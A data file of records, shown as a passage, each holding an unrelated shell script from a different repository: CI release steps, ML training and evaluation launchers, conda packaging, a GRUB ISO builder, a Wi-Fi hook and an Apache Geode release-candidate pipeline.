-t shift .\n\n# If this is not a pull request, update the branch's docker tag.\nif [ $TRAVIS_PULL_REQUEST = 'false' ]; then\n docker tag shift quay.io/etcinit/shift:${TRAVIS_BRANCH/\\//-} \\\n && docker push quay.io/etcinit/shift:${TRAVIS_BRANCH/\\//-};\n\n # If this commit has a tag, use on the registry too.\n if ! test -z $TRAVIS_TAG; then\n docker tag shift quay.io/etcinit/shift:${TRAVIS_TAG} \\\n && docker push quay.io/etcinit/shift:${TRAVIS_TAG};\n\n github-release create \\\n --user etcinit \\\n --repo shift \\\n --tag ${TRAVIS_TAG} \\\n --name ${TRAVIS_TAG} \\\n --description \".\"\n\n github-release upload \\\n --user etcinit \\\n --repo shift \\\n --tag ${TRAVIS_TAG} \\\n --name \"shift-linux-amd64\" \\\n --file dist/shift\n fi\nfi"} {"text": "Jin-Whee-Park/cb-spiderapi-runtime/rest-runtime/test/aws/security/list-test.sh\nRESTSERVER=localhost\n\n#정상 동작\ncurl -X GET http://$RESTSERVER:1024/securitygroup?connection_name=aws-config01 |json_pp"} {"text": "mducle/cairo-data\n#!/bin/bash \n\nmkdir -p results\ncif2mcphas.pl bi2fe4o9_shifted.cif -pc $1 >& results/cif2mcphas.out\nfor ff in Fe*sipf\ndo\n sed \"s/^L00/#L00/\" $ff > t.s && echo >> t.s && echo truncate_matrix=0.025 >> t.s && mv t.s $ff\n ic1ion $ff && mv results/ic1ion.out results/ic1ion.out-$ff\n anisotropy_fibo 1 1 100000 -r $ff 0 0 0 0 0 0 >&/dev/null \\\n && python get_aniso.py results/anisotropy.out >& results/anisodir-$ff \\\n && mv results/anisotropy.out results/anisotropy.out-$ff\ndone >&/dev/null\nfor ff in results/ic1ion.out-Fe*; do echo $ff $(grep \"^[0-9]\" $ff | head -n6 | awk '{print $1}'); done > results/cef_en.out\n\nfor st in 1 2\ndo\n cp cluster${st}.sipf-0 cluster${st}.sipf\n cp cluster${st}.j-0 cluster${st}.j\ndone\ncp mcphas.j-0 mcphas.j\ncp mcphas.tst-0 mcphas.tst\n\ncp mcphas.ini-001 mcphas.ini\nmcphasit -v >& results/mcphasit.out\nmv results results-pc-$1-001\n\nmkdir -p results\ncp mcphas.ini-110 mcphas.ini\nmcphasit -v >& results/mcphasit.out\nmv results results-pc-$1-110\n\ncp results-pc-$1-110/mcphas.fum ../bfo_susc_110_mcphas.fum\ncp results-pc-$1-001/mcphas.fum ../bfo_susc_001_mcphas.fum"} {"text": "rootfs/run.sh\n#!/bin/sh\nspawn-fcgi -s /run/fcgiwrap.socket /usr/bin/fcgiwrap\nsleep 5\nchmod 777 /run/fcgiwrap.socket\nnginx -g \"daemon off;\""} {"text": "# Builds tests\n\n# Compile\ng++ -std=c++1y -c tests.cpp\n\n# Link\ng++ tests.o -o runtests -lgtest -lpthread"} {"text": "#!/bin/bash\n\nwget -nv -O boost.tar.gz https://dl.bintray.com/boostorg/release/${BOOST_DOT_VERSION}/source/boost_${BOOST_VERSION}.tar.gz\ntar xzf boost.tar.gz\nmv boost_${BOOST_VERSION} boost-src\npushd boost-src\n./bootstrap.sh --prefix=../boost\npopd"} {"text": "evaluation.sh\nenable_run_script=true\ndataset=\"pascal\"\nbackbone=\"resnet152\"\nenable_vanilla_deeplab=false\nenable_adjust_val=true\nenable_save_all=false\nenable_save_png=false\nenable_coco_pretrained=true\nenable_finetune=true\nenable_ti=true\nslicloss=1\ndata_root=\"datasets/PASCAL/train_val\"\nadjust_val_factor=16\n\nif ${enable_adjust_val}; then\n val_bz=1\nelse\n val_bz=16\nfi\n\nif ${enable_vanilla_deeplab}; then\n slicloss=0\n adjust_val_factor=16\n enable_ti=false\n enable_finetune=false\nfi\n\nif [ ${dataset} == \"coco\" ]; then\n resume=\"pretrained/resnet152_coco/ckpt_40.pth.tar\"\nelse\n if [ ${backbone} == \"resnet101\" ]; then\n if ${enable_vanilla_deeplab}; then\n resume=\"pretrained/resnet101/ckpt_50.pth.tar\"\n else\n resume=\"pretrained/resnet101_slic/ckpt_41.pth.tar\"\n slicloss=1\n fi\n else\n if ${enable_coco_pretrained}; then\n if ${enable_vanilla_deeplab}; then\n resume=\"pretrained/resnet152_pascaloncoco/ckpt_22.pth.tar\"\n else\n slicloss=1\n if ${enable_finetune}; then\n if ${enable_ti}; then\n resume=\"pretrained/resnet152_pascaloncoco_slic_ti_finetune/ckpt_15.pth.tar\"\n fi\n else\n resume=\"pretrained/resnet152_pascaloncoco_slic/ckpt_52.pth.tar\"\n fi\n fi\n else\n if ${enable_vanilla_deeplab}; then\n resume=\"pretrained/resnet152/ckpt_53.pth.tar\"\n else\n slicloss=1\n if ${enable_finetune}; then\n if ${enable_ti}; then\n resume=\"pretrained/resnet152_slic_ti_finetune/ckpt_11.pth.tar\"\n else\n resume=\"pretrained/resnet152_slic_finetune/ckpt_8.pth.tar\"\n fi\n else\n resume=\"pretrained/resnet152_slic/ckpt_59.pth.tar\"\n fi\n fi\n fi\n fi\nfi\n\nscript_dir=\"checkpoints/scripts/${dataset}/eval\"\nlog_dir=\"checkpoints/logs/${dataset}/eval\"\n\nmkdir -p \"${script_dir}\"\nmkdir -p \"${log_dir}\"\n\nbash_name=\"${script_dir}/slic${slicloss}_${backbone}\"\nlog_name=\"${log_dir}/slic${slicloss}_${backbone}\"\n\nif ${enable_vanilla_deeplab}; then\n bash_name+=\"_vanilla\"\n log_name+=\"_vanilla\"\nfi\n\nif ${enable_coco_pretrained}; then\n bash_name+=\"_oncoco\"\n log_name+=\"_oncoco\"\nfi\n\nif ${enable_finetune}; then\n bash_name+=\"_finetune\"\n log_name+=\"_finetune\"\nfi\n\nif ${enable_ti}; then\n bash_name+=\"_ti\"\n log_name+=\"_ti\"\nfi\n\nif ${enable_adjust_val}; then\n bash_name+=\"_adjustval\"\n log_name+=\"_adjustval\"\nfi\n\nbash_name+=\".sh\"\nlog_name+=\".txt\"\n\n# Write batch head\necho -e \"#!/bin/bash -l\n\npython3 main.py \\\\\n--dataset=\\\"${dataset}\\\" \\\\\n--backbone=\\\"${backbone}\\\" \\\\\n--val_batch_size=${val_bz} \\\\\n--gpu_ids=\\\"0\\\" \\\\\n--data_root=\\\"${data_root}\\\" \\\\\n--sp_resume=\\\"pretrained/sp_fcn/SpixelNet_bsd_ckpt.tar\\\" \\\\\n--enable_save_val \\\\\n--enable_test \\\\\n--adjust_val_factor=${adjust_val_factor} \\\\\n--slic_loss=${slicloss} \\\\\n--resume=\\\"${resume}\\\" \\\\\" > ${bash_name}\n\nif ${enable_adjust_val}; then\n echo -e \"--enable_adjust_val \\\\\" >> ${bash_name}\nfi\n\nif ${enable_save_all}; then\n echo -e \"--enable_save_all \\\\\" >> ${bash_name}\nfi\n\nif ${enable_vanilla_deeplab}; then\n echo -e \"--enable_vanilla \\\\\" >> ${bash_name}\nfi\n\nif ${enable_save_png}; then\n echo -e \"--enable_save_png \\\\\" >> ${bash_name}\nfi\n\nif ${enable_ti}; then\n echo -e \"--enable_ti \\\\\" >> ${bash_name}\nfi\n\neval \"chmod 755 ${bash_name}\"\n\n# Run\nif ${enable_run_script}; then\n eval \"./${bash_name}\"\nfi"} {"text": "#!/bin/sh\n\nFILE=$1\nDATE=`date +\"%Y-%m-%d\"`\nFILENAME=${DATE}-${FILE}\n\necho \"Generating file: ${FILENAME}\"\n\ncat > ${FILENAME} << EOF\n---\nlayout: post\ntitle:\ncategories: [blog, algorithm]\ntags: [dailycodingproblem]\n---\n\n+ toc\n{:toc}\n\n### Problem\n\n### Solution\n\n\nEOF"} {"text": "#!/bin/bash\n#\n\nsudo apt-get install -y toilet\nfiglet=$(which figlet)\nif [ -z $figlet ]; then\n sudo apt-get install -y figlet\nfi\nfiglet Welcome to COVID-19 GENERATOR_API by: Lsbloo\n\necho ' '\necho '\nCOVID-19 PT-BR\n '\necho ' ' \n\n\necho \" \"\n\necho 'Como configurar e instalar.'\necho ' '\necho 'How to Build'\n\necho ' '\nfunction dialog(){\n\tdialog=$(which dialog)\n\tpath_dialog=\"/usr/bin/dialog\"\n\tif [ $dialog == $path_dialog ]; then\n\t\techo 'Dialog Installed'\n\telse\n\t\tsudo apt-get install -y dialog\n\tfi\n}\ndialog\nfunction export_variables(){\n\techo 'Carregue as seguintes variaveis de ambiente...'\n\techo \" \"\n\tread -p \"DATABASE NAME: \" DATABASE_NAME\n\tread -p \"DATABASE HOST: \" DATABASE_HOST\n\tread -p \"DATABASE USER: \" DATABASE_USER\n\tread -p \"DATABASE PASSWORD: \" DATABASE_PASSWORD\n\tread -p \"DATABASE PORT: \" DATABASE_PORT\n\tread -p \"PATH_CSV: \" PATH_CSV\n read -p \"NAME_CSV: \" NAME_CSV\n read -p \"URL_MONGO_DB: \" URL_MONGO_DB \n\n\tif [ -z $DATABASE_NAME ]; then\n\t\techo \"Preencha o nome do banco de dados corretamente.\"\n\tfi\n\tif [ -z $DATABASE_HOST ]; then\n\t\techo \"Preencha o host no qual o bando de dados esta hospedado corretamente\"\n\tfi\n\tif [ -z $DATABASE_USER ]; then\n\t\techo 'Preencha o usuario do banco de dados corretamente'\n\tfi\n\tif [ -z $DATABASE_PASSWORD ]; then\n\t\techo 'Preencha a senha do banco de dados corretamente'\n\tfi\n\tif [ -z $DATABASE_PORT ]; then\n\t\techo 'Preencha a porta do bando de dados corretamente'\n\tfi\n\tif [ -z $PATH_CSV ]; then\n\t\techo 'Preencha o Path para armazenar os arquivos gerados corretamente'\n\tfi\n if [ -z $NAME_CSV ]; then\n \techo 'Preencha o nome do arquivo .csv corretamente; '\n fi\n\tif [ -z $URL_MONGO_DB ]; then\n\t\techo 'Preencha a url de conexao do cluster Mongo Db corretamente.'\n\tfi\n\n\texport DATABASE_NAME=$DATABASE_NAME\n\texport DATABASE_HOST=$DATABASE_HOST\n\texport DATABASE_USER=$DATABASE_USER\n\texport DATABASE_PASSWORD=$DATABASE_PASSWORD\n\texport DATABASE_PORT=$DATABASE_PORT\n\texport PATH_CSV=$PATH_CSV\n export NAME_CSV=$NAME_CSV\n\texport URL_MONGO_DB=$URL_MONGO_DB\n\n}\n\n\nexport_variables\ncd .. ; pip install -r requeriments.txt\ntoilet -F border -F metal \"OK!\""} {"text": "takeneco/rust-uniqos\n#!/bin/sh\n\nif [ ! -d \"$GRUB2_MOD_PATH\" ]; then\n echo 'GRUB2_MOD_PATH is not given'\n exit 1\nfi\n\nif ! which \"$GRUB2_MKIMAGE\" > /dev/null; then\n echo 'GRUB2_MKIMAGE is not given'\n exit 1\nfi\n\nif ! file \"$MBKERNEL\" > /dev/null; then\n echo 'MBKERNEL is not given'\n exit 1\nfi\n\n#KERNEL=target/i686-uniqos/debug/multiboot\n\nrm -f target/iso/kernel\nmkdir -p target/iso/boot/grub\ncp $MBKERNEL target/iso/kernel\n\ncat > target/iso/boot/grub/grub.cfg < target/load_cfg < target/iso/boot/grub/i386-pc/eltorito.img\nfi\n\nmkisofs \\\n -o target/uniqos.iso \\\n -b boot/grub/i386-pc/eltorito.img \\\n -c boot/boot.cat \\\n -no-emul-boot \\\n -boot-load-size 4 \\\n -boot-info-table \\\n -R -J target/iso/"} {"text": "#!/bin/bash\n\n# Copyright 2020 Xilinx Inc.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nconda activate vitis-ai-tensorflow\n\n# folders\nexport DSET_ROOT=./dataset\nexport BUILD=./build\nexport LOG=${BUILD}/logs\nexport KERAS=${BUILD}/keras_model\nexport TB_LOG=${BUILD}/tb_logs\nexport TFCKPT_DIR=${BUILD}/tf_chkpt\nexport FREEZE=${BUILD}/freeze\nexport QUANT=${BUILD}/quantize\nexport COMPILE_U50=${BUILD}/compile_u50\nexport COMPILE_ZCU102=${BUILD}/compile_zcu102\nexport TARGET_U50=${BUILD}/target_u50\nexport TARGET_ZCU102=${BUILD}/target_zcu102\nexport APP=./application\n\n# make the necessary folders\nmkdir -p ${KERAS}\nmkdir -p ${LOG}\n\n# logs & results files\nexport DSET_LOG=dset.log\nexport TRAIN_LOG=train.log\nexport KERAS_LOG=keras_2_tf.log\nexport FREEZE_LOG=freeze.log\nexport EVAL_FR_LOG=eval_frozen_graph.log\nexport QUANT_LOG=quant.log\nexport EVAL_Q_LOG=eval_quant_graph.log\nexport COMP_LOG_U50=compile_u50.log\nexport COMP_LOG_ZCU102=compile_zcu102.log\n\n\n# TensorFlow files\nexport FROZEN_GRAPH=frozen_graph.pb\nexport TFCKPT=tf_float.ckpt\n\n# calibration list file\nexport CALIB_LIST=calib_list.txt\nexport CALIB_IMAGES=1000\n\n# network parameters\nexport INPUT_HEIGHT=200\nexport INPUT_WIDTH=250\nexport INPUT_CHAN=3\nexport INPUT_SHAPE=?,${INPUT_HEIGHT},${INPUT_WIDTH},${INPUT_CHAN}\nexport INPUT_NODE=input_1\n#export OUTPUT_NODE=flatten/Reshape\nexport OUTPUT_NODE=conv2d_30/BiasAdd\nexport NET_NAME=customcnn\n\n# training parameters\nexport EPOCHS=180\nexport BATCHSIZE=80\nexport LEARNRATE=0.0002"} {"text": "#!/bin/bash\n#Starts the admin_webnet network if not already running\n\nVERSIONINFO=\"20190412.2\"\necho \"Started $0 v$VERSIONINFO\"\n\nADMIN_NETWORK_NAME=\"admin_webnet\"\nADMIN_STUB_NAME=\"admin_zcmd_stub\"\nADMIN_STACK_HOME=\"$HOME/zcmd/runtime_stack/admin/\"\nPARAM_CUSTOM_ADMIN_STACK_PATH=\"$1\"\n\nCORE_ADMIN_WAS_DOWN=\"UNKNOWN\"\nNEEDS_CHECKING=\"YES\"\nLAUNCH_CUSTOM_TOO=\"NO\"\n\necho \"# ... ZCMD ADMIN_NETWORK_NAME = $ADMIN_NETWORK_NAME\"\necho \"# ... ZCMD ADMIN_STACK_HOME = $ADMIN_STACK_HOME\"\nif [ -z \"$PARAM_CUSTOM_ADMIN_STACK_PATH\" ]; then\n echo \"# ... ZCMD CUSTOM ADMIN STACK HOME = ** NONE **\"\nelse\n echo \"# ... ZCMD CUSTOM ADMIN STACK HOME = $PARAM_CUSTOM_ADMIN_STACK_PATH\"\n LAUNCH_CUSTOM_TOO=\"YES\"\nfi\n\nfunction upCoreAdminStack()\n{\n (cd $ADMIN_STACK_HOME; zcmd up)\n sleep 5\n}\n\nfunction upCustomAdminStack()\n{\n echo \"# Starting custom admin stack at $PARAM_CUSTOM_ADMIN_STACK_PATH ...\"\n (cd $PARAM_CUSTOM_ADMIN_STACK_PATH; zcmd up)\n sleep 5\n}\n\nfunction checkAdminNetwork()\n{\n\n MISSING_TEXT=\"No such network\"\n\n echo \"# Checking '$ADMIN_NETWORK_NAME' network status ...\"\n\n RESULT_CONTENT=$(eval \"docker network inspect $ADMIN_NETWORK_NAME\")\n\n GREP_NAME_CHECK=\"echo \\\"${RESULT_CONTENT}\\\" | grep '${ADMIN_NETWORK_NAME}'\"\n GREP_MISSING_CHECK=\"echo \\\"${RESULT_CONTENT}\\\" | grep '${MISSING_TEXT}'\"\n\n FIND_NAME_TEXT=$(eval \"$GREP_NAME_CHECK\")\n\n if [ ! -z \"$FIND_NAME_TEXT\" ]; then\n\n echo \"# Network '$ADMIN_NETWORK_NAME' is available\"\n NEEDS_CHECKING=\"NO\"\n\n else\n\n CORE_ADMIN_WAS_DOWN=\"YES\"\n\n #Show user all active networks...\n docker network ls\n\n #Try to start the admin project\n echo \"# Network '$ADMIN_NETWORK_NAME' not found, will attempt to start now ...\"\n\n upCoreAdminStack\n\n NEEDS_CHECKING=\"YES\"\n fi\n}\n\nfunction checkAdminStub()\n{\n\n MISSING_TEXT=\"No such service!\"\n\n echo \"# Checking '$ADMIN_STUB_NAME' service status ...\"\n\n RESULT_CONTENT=$(eval \"docker container ls\")\n\n GREP_NAME_CHECK=\"echo \\\"${RESULT_CONTENT}\\\" | grep '${ADMIN_STUB_NAME}' | awk '{print $NF}'\"\n GREP_MISSING_CHECK=\"echo \\\"${RESULT_CONTENT}\\\" | grep '${MISSING_TEXT}'\"\n\n FIND_NAME_TEXT=$(eval \"$GREP_NAME_CHECK\")\n\n if [ ! -z \"$FIND_NAME_TEXT\" ]; then\n echo \"# Container '$ADMIN_STUB_NAME' is available\"\n NEEDS_CHECKING=\"NO\"\n else\n\n CORE_ADMIN_WAS_DOWN=\"YES\"\n\n #Show user all active containers...\n docker container ls\n\n #Try to start the admin project\n echo \"# Running container '$ADMIN_STUB_NAME' not found, will attempt to start now ...\"\n\n upCoreAdminStack\n\n NEEDS_CHECKING=\"YES\"\n fi\n}\n\ncheckAdminNetwork\ncheckAdminStub\n\nif [ \"YES\" = \"$NEEDS_CHECKING\" ]; then\n checkAdminNetwork\n if [ \"YES\" = \"$NEEDS_CHECKING\" ]; then\n echo \"FAILED to start the '$ADMIN_NETWORK_NAME' network!\"\n echo \"Check $ADMIN_STACK_HOME\"\n exit 1\n fi\nfi\n\nif [ \"YES\" = \"$LAUNCH_CUSTOM_TOO\" ]; then\n if [ \"YES\" = \"$CORE_ADMIN_WAS_DOWN\" ]; then\n upCustomAdminStack\n fi\nfi\n\necho \"Successful completion of $0\""} {"text": "export CUDA_VISIBLE_DEVICES='1'\r\npython ../train.py \\\r\n--train_data_pattern='hdfs://172.16.17.32:9000/user/VideoAI/rextang/yt8m_2018/frame/*.tfrecord' \\\r\n--video_level_classifier_model=willow_MoeModel \\\r\n--model=NetFVModelLF \\\r\n--train_dir=gatednetfvLF-128k-1024-80-0002-300iter-norelu-basic-gatedmoe \\\r\n--frame_features=True \\\r\n--feature_names=\"rgb,audio\" \\\r\n--feature_sizes=\"1024,128\" \\\r\n--batch_size=80 \\\r\n--base_learning_rate=0.0002 \\\r\n--fv_cluster_size=128 \\\r\n--fv_hidden_size=1024 \\\r\n--moe_l2=1e-6 \\\r\n--iterations=300 \\\r\n--learning_rate_decay=0.8 \\\r\n--fv_relu=False \\\r\n--gating=True \\\r\n--moe_prob_gating=True \\\r\n--fv_couple_weights=False \\\r\n--max_step=600000 \\"} {"text": "FredHutch/storage-crawler1-10\n#! /bin/bash\n\nPATH=storage_crawler:$PATH\nstorscrawl /fh/fast"} {"text": "pratiman-91/imdlib\n#!/bin/bash\n\n# change the package name to the existing PyPi package you would like to build\npkg='imdlib'\necho $PWD\narray=( 3.6 )\necho \"Building conda package ...\"\ncd ~\necho $PWD\nconda skeleton pypi $pkg\ncd $pkg\necho $PWD\ncd ~\n\n# building conda packages\necho \"========================\"\necho \"Building conda packages\"\necho \"========================\"\necho $PWD\nfor i in \"${array[@]}\"\ndo\n\tconda-build --python $i $pkg\ndone\n\n\n# convert package to other platforms\necho \"=========================\"\necho \"Cinverting conda packages\"\necho \"=========================\"\ncd ~\necho $PWD\nplatforms=( linux-64 win-64 )\nfind $HOME/miniconda/conda-bld/linux-64/ -name *.tar.bz2 | while read file\ndo\n echo $file\n #conda convert --platform all $file -o $HOME/conda-bld/\n for platform in \"${platforms[@]}\"\n do\n conda convert --platform $platform $file -o $HOME/miniconda/conda-bld/\n done \ndone\n\n\n# upload packages to conda\necho \"=========================\"\necho \"Uploading conda packages\"\necho \"=========================\"\nfind $HOME/miniconda/conda-bld/ -name *.tar.bz2 | while read file\ndo\n echo $file\n anaconda -t $ANACONDA_TOKEN upload $file\ndone\necho \"Building conda package done!\"\necho \"===================================\"\necho \"Succeessful submission to anaconda\"\necho \"===================================\""} {"text": "ivmai/sabotage-linux\n#!/bin/sh\n\n# set to true if you want that wpa_supplicant gets restarted automatically\n# on disconnect instead of doing crazy things\nrestart_service=false\n# set to false if you want a static ip\n# (and edit ip address settings further down)\ndo_dhcp=true\n# set to true if you experience connection problems\ndo_throttle=false\nthrottle_speed=1M\n\nif=\"$1\"\nstate=\"$2\"\nessid=\"$3\"\n\necho \"$0: $if $state\"\ncase \"$state\" in\nRECALLED)\nsleep 1\n$do_throttle && iwconfig \"$if\" rate \"$throttle_speed\"\nif $do_dhcp ; then\n\tdhclient \"$if\" || dhclient \"$if\";\nelse\n\tsn=192.168.1\n\tifconfig \"$if\" \"$sn\".100 netmask 255.255.255.0\n\troute delete default\n\troute add default gw \"$sn\".1\n\techo \"nameserver 8.8.8.8\" > /etc/resolv.conf\nfi\n;;\nCONNECTED)\nprintf \"<<< Connected to '%s' >>>\\n\" \"$essid\"\n\"$0\" \"$1\" RECALLED \"$essid\" &\n;;\nDISCONNECTED)\n$restart_service && sv status wpa_supplicant | grep \"^run:\">/dev/null && {\n# restart wpa_supplicant on disconnect iff the service is still up\n# (disconnect may be triggered by user doing a sv d wpa_supplicant manually,\n# so doing this here unconditionally would up the service again.\n# why do we want a restart? there's a whole lot of logic of blacklisting,\n# whitelisting, timeouts etc in wpa_supplicant that at the end of the day\n# just gets into the way instead of helping.\nsv d wpa_supplicant ; sv u wpa_supplicant\n}\n\n:\n;;\nesac"} {"text": "#!/usr/bin/env bash\n\nset -e\n\nsource /etc/profile\n\necho \"using config:\"\ncat hcnet-core.cfg\n\n# initialize new db\nhcnet-core new-db\n\nif [ \"$1\" = \"standalone\" ]; then\n # start a network from scratch\n hcnet-core force-scp\n\n # initialze history archive for stand alone network\n hcnet-core new-hist vs\n\n # serve history archives to aurora on port 1570\n pushd /history/vs/\n python3 -m http.server 1570 &\n popd\nfi\n\nexec /init -- hcnet-core run"} {"text": "sanmai-NL/vol\n#!/bin/sh -e\n\n## Pipes out a directory as pax stream.\n\n## $1: A root directory to input.\nTARGET_IN=\"$1\"\n## $2: Extra parameters to pass on to tar.\nPARAMS=\"$2\"\n## $3: A tar -f target to output. Default: pipe.\nTARGET_OUT=\"${3:--}\"\n\ntar $PARAMS -cp --numeric-owner -f \"$TARGET_OUT\" -C \"$TARGET_IN\" '.'"} {"text": "INK-USC/RiddleSense\n#!/bin/bash\r\n#SBATCH --gres=gpu:4\r\nsource /home/danny911kr/miniconda3/etc/profile.d/conda.sh\r\nconda activate t5-stable\r\n\r\npython models/t5/finetune.py \\\r\n--data_dir models/data_dir/riddle_sense \\\r\n--output_dir models/t5/checkpoints/unifiedqa-3b \\\r\n--model_name_or_path allenai/unifiedqa-t5-3b \\\r\n--tokenizer_name_or_path allenai/unifiedqa-t5-3b \\\r\n--learning_rate 3e-4 \\\r\n--max_seq_length 128 \\\r\n--train_batch_size 16 \\\r\n--gradient_accumulation_steps 4 \\\r\n--model_parallel True"} {"text": "#!/bin/bash -e\n\nNUMBER_RESULTS=100\nGT_FILE=test_dataset_ground_truth_local.txt\nRESULTS_SCENES_FILE=../retriever/test/results/SCFV_scenes/gaussians_scene_512/ws_mode_0/ws_thresh_scene_6/min_num_words_visited_0/scene_mode_1/fpscene_-1/num_scene_rerank_100/gaussians_shot_512/ws_thresh_shot_7/shot_mode_1/fpshot_-1/shot_thresh_0.8/out_scene_results.txt\n\n# Compose command line\ncmd=$(echo \\\n python evaluate_scene_retrieval.py \\\n $RESULTS_SCENES_FILE \\\n $GT_FILE \\\n $NUMBER_RESULTS \\\n --force)\n\n# Write and execute command\necho $cmd\n$cmd"} {"text": "#!/usr/bin/env bash\n#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\nusage() {\n echo \"Usage: deploy_rc_pipeline -v version_number\"\n echo \" -v The #.#.# version number\"\n exit 1\n}\n\nVERSION=\"\"\n\nwhile getopts \":v:\" opt; do\n case ${opt} in\n v )\n VERSION=$OPTARG\n ;;\n \\? )\n usage\n ;;\n esac\ndone\n\nif [[ ${VERSION} == \"\" ]]; then\n usage\nfi\n\nif [[ $VERSION =~ ^([0-9]+\\.[0-9]+\\.[0-9]+)$ ]]; then\n true\nelse\n echo \"Malformed version number ${VERSION}. Example valid version: 1.9.0\"\n exit 1\nfi\n\nPIPEYML=$PWD/rc-pipeline.yml\ncat << \"EOF\" | sed -e \"s//${VERSION}/\" > $PIPEYML\n---\n\nresources:\n- name: geode\n type: git\n source:\n branch: release/\n tag_filter: rel/v.RC*\n uri: https://github.com/apache/geode.git\n- name: geode-examples\n type: git\n source:\n branch: release/\n uri: https://github.com/apache/geode-examples.git\n- name: geode-native\n type: git\n source:\n branch: release/\n tag_filter: rel/v.RC*\n uri: https://github.com/apache/geode-native.git\n- name: upthewaterspout-tests\n type: git\n source:\n branch: master\n uri: https://github.com/apache/geode.git\n\njobs:\n - name: build-geode-from-tag\n serial: true\n plan:\n - aggregate:\n - get: geode\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n java -version\n cd geode\n ./gradlew test\n - name: build-geode-from-src-tgz\n serial: true\n plan:\n - aggregate:\n - get: geode\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cd geode && git describe --tags | sed -e 's#^rel/v##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n curl -s https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}/apache-geode-${VERSION}-src.tgz > src.tgz\n tar xzf src.tgz\n cd apache-geode-${VERSION}-src\n java -version\n ./gradlew test\n - name: run-geode-examples\n serial: true\n plan:\n - aggregate:\n - get: geode-examples\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode-examples\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n cd geode-examples\n java -version\n ./gradlew runAll\n - name: run-geode-examples-from-src-tar-gz\n serial: true\n plan:\n - aggregate:\n - get: geode-examples\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode-examples\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cat geode-examples/gradle.properties | grep geodeReleaseUrl | sed -e 's#.*/geode/##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n STAGING_MAVEN=$(cat geode-examples/gradle.properties | grep geodeRepositoryUrl | awk '{print $3}')\n curl -s https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}/apache-geode-examples-${VERSION}.tar.gz > src.tgz\n tar xzf src.tgz\n cd apache-geode-examples-${VERSION}\n java -version\n ./gradlew -PgeodeReleaseUrl=https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION} -PgeodeRepositoryUrl=${STAGING_MAVEN} build runAll\n - name: run-geode-examples-from-src-zip-11\n serial: true\n plan:\n - aggregate:\n - get: geode-examples\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 11\n inputs:\n - name: geode-examples\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cat geode-examples/gradle.properties | grep geodeReleaseUrl | sed -e 's#.*/geode/##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n STAGING_MAVEN=$(cat geode-examples/gradle.properties | grep geodeRepositoryUrl | awk '{print $3}')\n curl -s https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}/apache-geode-examples-${VERSION}.zip > src.zip\n unzip src.zip\n cd apache-geode-examples-${VERSION}\n java -version\n ./gradlew -PgeodeReleaseUrl=https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION} -PgeodeRepositoryUrl=${STAGING_MAVEN} build runAll\n - name: build-geode-native-from-tag\n serial: true\n plan:\n - aggregate:\n - get: geode-native\n trigger: true\n - task: validate\n timeout: 1h\n config:\n image_resource:\n type: docker-image\n source:\n repository: openjdk\n tag: 8\n inputs:\n - name: geode-native\n platform: linux\n run:\n path: /bin/sh\n args:\n - -ec\n - |\n set -ex\n FULL_VERSION=$(cd geode-native && git describe --tags | sed -e 's#^rel/v##')\n VERSION=$(echo $FULL_VERSION|sed -e 's/\\.RC.*//')\n #use geode from binary dist\n curl -s https://dist.apache.org/repos/dist/dev/geode/${FULL_VERSION}/apache-geode-${VERSION}.tgz > geode-bin.tgz\n tar xzf geode-bin.tgz\n # needed to get cmake >= 3.12\n echo 'APT::Default-Release \"stable\";' >> /etc/apt/apt.conf.d/99defaultrelease\n echo 'deb http://ftp.de.debian.org/debian/ stable main contrib non-free' >> /etc/apt/sources.list.d/stable.list\n echo 'deb-src http://ftp.de.debian.org/debian/ stable main contrib non-free' >> /etc/apt/sources.list.d/stable.list\n echo 'deb http://security.debian.org/ stable/updates main contrib non-free' >> /etc/apt/sources.list.d/stable.list\n apt-get update\n DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y cmake openssl doxygen build-essential libssl-dev zlib1g-dev\n cd geode-native\n mkdir build\n cd build\n cmake .. 